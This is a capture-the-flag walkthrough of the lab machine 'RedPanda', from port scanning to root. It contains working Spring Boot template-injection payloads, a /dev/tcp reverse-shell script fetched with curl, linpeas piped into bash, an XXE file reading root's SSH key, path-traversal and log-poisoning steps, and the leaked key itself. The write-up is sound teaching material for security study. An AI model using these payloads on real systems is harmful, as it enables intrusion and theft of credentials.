Preface
Trying to escalate privileges on this box gave me a headache, but it’s good to be doing a box that isn’t always so straight forward and actually requires some thinking.
Reconnaissance
Before we start, let’s add the target IP and hostname to our hosts
file:
$ sudo nano /etc/hosts
10.10.11.170 redpanda.htb
We perform a simple port scan to see what services are running on the target.
$ nmap -p- redpanda.htb | tee ports-tcp.nmap
Nmap scan report for redpanda.htb (10.10.11.170)
Host is up (0.026s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds
We see that there are only two services externally facing on our target, standard SSH on port 22 and a web server on port 8080. Let’s probe further with a script scan and enumerate versions:
$ nmap -sC -sV -p 22,8080 redpanda.htb | tee targeted-tcp.nmap
Nmap scan report for redpanda.htb (10.10.11.170)
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date: Sun, 24 Jul 2022 11:09:44 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en" dir="ltr">
| <head>
| <meta charset="utf-8">
| <meta author="wooden_k">
| <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
| <link rel="stylesheet" href="css/panda.css" type="text/css">
| <link rel="stylesheet" href="css/main.css" type="text/css">
| <title>Red Panda Search | Made with Spring Boot</title>
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| Content-Length: 0
| Date: Sun, 24 Jul 2022 11:09:44 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sun, 24 Jul 2022 11:09:44 GMT
| Connection: close
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.36 seconds
Enumeration
We begin our enumeration by exploring the web application. Navigating to the site, we see a basic database search utility with a red panda theme:
As expected, searching with a string returns red pandas with the name matching the string:
There are also profiles for two entry authors, woodenk
and damian
:
Clicking “Export Table” produces an XML file of the following format:
<?xml version="1.0" encoding="UTF-8"?>
<credits>
<author>woodenk</author>
<image>
<uri>/img/greg.jpg</uri>
<views>3</views>
</image>
<image>
<uri>/img/hungy.jpg</uri>
<views>2</views>
</image>
<image>
<uri>/img/smooch.jpg</uri>
<views>1</views>
</image>
<image>
<uri>/img/smiley.jpg</uri>
<views>1</views>
</image>
<totalviews>7</totalviews>
</credits>
Which immediately makes me think we may need to perform some kind of XML exploitation later on when we have write access to the database, perhaps an XXE injection. The site also writes:
With every view an author gets for their red panda image, they are awarded with 1 creditpoint. These eventually lead up to a bigger payout bonus for their content
We will keep the two author’s names in mind as they may be users on the machine.
Exploitation
After trying the usual checklist of injection tests on the search box, I was unable to find any indication that it would be vulnerable to SQL injection, Server-Side Template Injection, or XSS.
Then, I realised that the website title has the words “Made with Spring Boot”, so I tried to find attacks specific to Spring Boot and stumbled on this:
#{7*7}
Looks like it is vulnerable to SSTI after all! The reason I missed it before is because Spring’s Expression Language (EL) uses different syntax for templating, than the usual Jinja or Twig. SpringEL uses the following:
${...}
: Variable expressions – in practice, these are OGNL expressions.*{...}
: Selection expressions – similar to variable expressions but used for specific purposes.#{...}
: Message (i18n) expressions – used for internationalization.@{...}
: Link (URL) expressions – used to set correct URLs/paths in the application.~{...}
: Fragment expressions – they let you reuse parts of templates.
Usually, variable expressions are what we are after in an SSTI attack, but the $
character has been blacklisted by the application. Luckily, we can still use selection expressions to do the job:
*{T(java.lang.Runtime).getRuntime().exec('whoami')}
Great! We are able to gain command execution. Let’s create a simple reverse shell script and exploit this further.
rev.sh
:
#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1'
Next, we will host this on a temporary HTTP server for the victim machine to retrieve from:
$ python -m http.server 8888
Then, we will supply the following search string to trigger the download:
*{T(java.lang.Runtime).getRuntime().exec('curl http://10.10.14.38:8888/rev.sh -o rev.sh')}
10.10.11.170 - - [27/Aug/2022 23:18:56] "GET /rev.sh HTTP/1.1" 200 -
We see a request logged on our HTTP server. Assuming the download was successful and the file was written correctly, we can now spawn the reverse shell by executing the script. Let’s start a listener on port 7777:
$ nc -lvnp 7777
Then, we supply the search string:
{T(java.lang.Runtime).getRuntime().exec('bash rev.sh')}
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 10.10.11.170.
Ncat: Connection from 10.10.11.170:37098.
bash: cannot set terminal process group (866): Inappropriate ioctl for device
bash: no job control in this shell
woodenk@redpanda:/tmp/hsperfdata_woodenk$
Voila, we’ve got a shell as woodenk
! Let’s get the user flag:
$ cat ~/user.txt
Privilege Escalation
Checking for what privileges we have:
$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
We are in the logs
group, which suggests we might be able to find something useful in the application’s logs.
To automate the process, we run LinPEAS to enumerate for any privilege escalation vectors:
$ curl -s http://10.10.14.38:8888/linpeas.sh | bash
From the LinPEAS result, we have determined the following:
- The machine is running a MySQL database server on port 3306:
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
- SSH login as root is allowed:
PermitRootLogin yes
- There is an unexpected directory
/credits
in the root.
While monitoring for periodic processes with pspy
, we find that there is a credit-score
Java application that gets executed by cron
every 2 minutes. More importantly, it is run as the root user:
2022/09/11 10:20:01 CMD: UID=0 PID=32376 | /usr/sbin/CRON -f
2022/09/11 10:20:01 CMD: UID=0 PID=32377 | /bin/sh -c /root/run_credits.sh
2022/09/11 10:20:01 CMD: UID=0 PID=32378 | /bin/sh /root/run_credits.sh
2022/09/11 10:20:01 CMD: UID=0 PID=32379 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
We can find this along with two other custom applications, and a cleanup.sh
script in /opt
:
$ ls -la /opt
total 24
drwxr-xr-x 5 root root 4096 Jun 23 18:12 .
drwxr-xr-x 20 root root 4096 Jun 23 14:52 ..
-rwxr-xr-x 1 root root 462 Jun 23 18:12 cleanup.sh
drwxr-xr-x 3 root root 4096 Jun 14 14:35 credit-score
drwxr-xr-x 6 root root 4096 Jun 14 14:35 maven
drwxrwxr-x 5 root root 4096 Jun 14 14:35 panda_search
The MainController.java
file in panda_search
contains the password to the SQL database.
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
:
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
We have the credentials: woodenk:RedPandazRule
Looking at the credit-score
application, we find the Java source code which provides some interesting hints about the mystery /credits
directory.
/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
:
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine())
{
String line = log_reader.nextLine();
if(!isImage(line))
{
continue;
}
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
It seems to be reading from a redpanda.log
file, parsing each entry, then writing each artist’s updated credit score to an XML file, then storing them in the /credits
directory.
We also find the following code snippet in the panda_search
application, which references the redpanda.log
file.
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java
:
@Override
public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
String UserAgent = request.getHeader("User-Agent");
String remoteAddr = request.getRemoteAddr();
String requestUri = request.getRequestURI();
Integer responseCode = response.getStatus();
/*System.out.println("User agent: " + UserAgent);
System.out.println("IP: " + remoteAddr);
System.out.println("Uri: " + requestUri);
System.out.println("Response code: " + responseCode.toString());*/
System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
BufferedWriter bw = new BufferedWriter(fw);
bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
bw.close();
}
Which seems to be a simple request logger that serves as a middleware for all requests. The logger records the IP, request URI, response code, along with the user agent of each request, then writes them to the redpanda.log
file. All of this interaction seems fine so far, with the exception of the unsafe string concatenation we’ve seen everywhere.
Back to the credit-score
application, we see that the “Artist” metadata tag is used in determining the artist of an image.
/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
:
public static String getArtist(String uri) throws IOException, JpegProcessingException
{
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
return tag.getDescription();
}
}
}
return "N/A";
}
This artist name is then referenced again in the main
function, where it is unsafely concatenated to the credit XML file path.
String xmlPath = "/credits/" + artist + "_creds.xml";
By directly concatenating the artist name into the path as so, we can perform a path traversal attack by supplying traversal characters such as ../
. Though, we don’t have a way to exploit this thus far, so we will keep this in mind for now.
The script has the function of incrementing an artist’s view count by one whenever somebody visits an image (URI ending in .jpg). It opens and parses the existing credit XML file, and then overwrites it with the new version:
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for(Element el: rootElement.getChildren())
{
if(el.getName() == "image")
{
if(el.getChild("uri").getText().equals(uri))
{
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
This is interesting, because if we are able to somehow manipulate the XML file, we will be able to gain arbitrary file read using XML external entity (XXE) injection. The SAXBuilder
and XMLOutputter
will parse the existing XML file, resolve the external entity (i.e. including whatever file we specify), then overwrite the file.
To exploit this, the following conditions must all be true:
- We have a malicious XML file in a directory that we can write to (e.g.
/dev/shm
), with an external entity referencing a local file. This can be the root user’s SSH private key, since we know SSH login as root is allowed. - We can manipulate the
redpanda.log
file such thatcredit-score
will read and parse our malicious XML, then write the result to the file. - We have a JPG image in a directory that we can write to, with its “Artist” metadata tag crafted such that when concatenated, it will point to where we’ve stored the XML file.
Creating the XML file
Let’s move step by step. To perform the XXE injection, we create the following XML file with the entity which will include the root’s private SSH key. We will call this file greg_creds.xml
, and we will match this name in the URI:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
<author>greg</author>
<image>
<uri>/../../../../../../../../../../dev/shm/greg.jpg</uri>
<inj>&xxe;</inj>
<views>1</views>
</image>
<totalviews>1</totalviews>
</credits>
The forward slash in front of the URI is SUPER important! It took me hours to realise that the image path does not end with a slash, so when provided with something that starts with ../
, it would end up returning an invalid path:
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
Manipulating the access log
Next, we need a way to manipulate redpanda.log
so that it will read our XML file. We have two method to do this:
- Send a crafted HTTP request using
curl
, with the user-agent being the path to our image. - Just write directly to
redpanda.log
. We can do this because the file is owned by thelogs
group and thewoodenk
user is granted this group permission under thepanda_search
application.
Using curl
, we will send the request with the following user-agent:
||/../../../../../../../../../../dev/shm/greg.jpg
Note the ||
at the start of the user-agent, this is because the path needs to fall under the forth delimited string (separated by ||
):
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
If we are directly modifying redpanda.log
, we also need to make sure the first field is an integer. An example line would be:
200||aaa||aaa||/../../../../../../../../../../dev/shm/greg.jpg
Crafting the JPG file
Lastly, we will need to craft a JPG file with the “Artist” metadata. To do this, we will take one of the existing images on the website: http://redpanda.htb:8080/img/greg.jpg
Then, we will change the “Artist” tag with exiftool
:
$ exiftool -Artist="/../../../../../../../../../../dev/shm/greg" ./greg.jpg
Bringing everything together
We now have everything we need! To execute the attack, all we have to do now is upload the files to /dev/shm
, and send the request.
$ wget http://10.10.14.38:8888/greg.jpg
$ wget http://10.10.14.38:8888/greg_creds.xml
$ curl -A "||/../../../../../../../../../../dev/shm/greg.jpg" http://redpanda.htb:8080/
Wait around 2 minutes, and once successful, the credit score XML file we placed will look something like this:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>greg</author>
<image>
<uri>/../../../../../../../../../../dev/shm/greg.jpg</uri>
<inj>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</inj>
<views>2</views>
</image>
<totalviews>2</totalviews>
</credits>
We have the root user’s SSH private key!
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----
With this, we can trivially log in as root. Let’s save it as a file, making sure to give it the appropriate permissions (SSH is very picky about protecting identity files):
$ nano root_id_rsa && chmod 600 root_id_rsa
$ ssh [email protected] -i ./root_id_rsa
And we can get the root flag!
$ cat root.txt
Resources
- Exploiting SSTI in Thymeleaf - https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
- XML external entity (XXE) injection - https://portswigger.net/web-security/xxe